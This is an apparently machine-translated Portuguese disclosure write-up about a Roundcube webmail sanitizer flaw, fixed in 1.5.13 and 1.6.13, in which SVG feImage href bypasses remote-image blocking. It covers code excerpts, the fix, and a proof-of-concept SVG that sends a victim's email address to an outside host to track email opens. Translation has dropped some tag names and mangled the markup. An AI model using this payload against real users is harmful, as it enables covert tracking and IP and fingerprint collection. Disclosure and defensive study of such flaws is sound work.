O sanitizador de HTML do Roundcube não trata SVG feImage href como uma fonte de imagem. Os invasores podem ignorar o bloqueio remoto de imagens para rastrear aberturas de e-mail.
DR: Cubo redondo rcube_washtml desinfetante bloqueou recursos externos em , e mas não em . Isso é href passou pelo caminho de código errado e foi autorizado. Os invasores podiam rastrear aberturas de e-mail mesmo quando “Bloquear imagens remotas” estava ativado. Corrigido em 1.5.13 e 1.6.13.
Informações sobre vulnerabilidade
| Campo | Valor |
|---|---|
| Fornecedor | Cubo redondo |
| Produto | Webmail Roundcube |
| Versões afetadas | <1.5.13, 1.6.x <1.6.13 |
| Fixado em | 1.5.13, 1.6.13 |
| Data de divulgação | 08/02/2026 |
Fundo
Quando allow_remote for falso, o desinfetante do Roundcube intercepta atributos de imagem (src sobre , href sobre e ) e os executa is_image_attribute(). Essa função bloqueia URLs externos.
Separadamente, URLs que não sejam de imagem (como ) passar wash_link()que permite a passagem de URLs HTTP/HTTPS. Isso é bom para links nos quais o usuário clica intencionalmente.
Descoberta
Fiquei entediado durante minhas férias de Natal e essa correção de XSS baseada em SVG por meio do animate tag apareceu no meu radar. Um bug SVG geralmente significa mais. Então passei algumas horas analisando rcube_washtml.phpobservando quais elementos SVG entraram na lista de permissões e como seus atributos são tratados e higienizados.
se destacou. Isso é href é buscado na renderização, da mesma forma que . Mas o desinfetante envia através wash_link() em vez de is_image_attribute().
Portanto, a configuração “Bloquear imagens remotas” não se aplica a ele.
Detalhes técnicos
Em wash_attribs()cada atributo atinge uma cadeia de verificações. O primeiro que corresponder ganha:
rcube_washtml.php
if ($this->is_image_attribute($node->nodeName, $key)) elseif ($this->is_link_attribute($node->nodeName, $key))
Antes da correção, is_image_attribute() ficou assim:
rcube_washtml.php
private function is_image_attribute($tag, $attr)
O href atributo é correspondido apenas para use e image. Não feimage.
E is_link_attribute() é um pega-tudo:
rcube_washtml.php
private function is_link_attribute($tag, $attr)
{
return $attr === 'href';
}
Então, quando o desinfetante encontra : is_image_attribute('feimage', 'href') retorna falso, is_link_attribute('feimage', 'href') retorna verdadeiro e o URL passa wash_link() que passa URLs HTTP/HTTPS diretamente.
Prova de conceito
Um SVG 1×1 invisível, posicionado fora da tela:
<svg width="1" height="1" style="position:absolute;left:-9999px;">
<defs>
<filter id="t">
<feImage href="https://httpbin.org/image/svg?email=victim@test.com"
width="1" height="1"/>
filter>
defs>
<rect filter="url(#t)" width="1" height="1"/>
svg>
O navegador avalia o filtro SVG e dispara um GET para a URL do invasor.
Impacto
A configuração “Bloquear imagens remotas” não bloqueia esta imagem remota. Um invasor pode confirmar que você o abriu, registrar seu IP e imprimir a impressão digital de seu navegador.
A correção (26d7677) colapsa os dois separados use/image verifica em um único regex que inclui feimage:
rcube_washtml.php
|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG
Agora sucessos is_image_attribute() primeiro, é roteado wash_uri()e o URL remoto será bloqueado.
Atualize para 1.5.13 ou 1.6.13.
Linha do tempo
| Data | Evento |
|---|---|
| 04/01/2026 | Reportado ao Roundcube |
| 08/02/2026 | 1.5.13 e 1.6.13 lançados |
| 08/02/2026 | Esta postagem |
Fonte: theverge

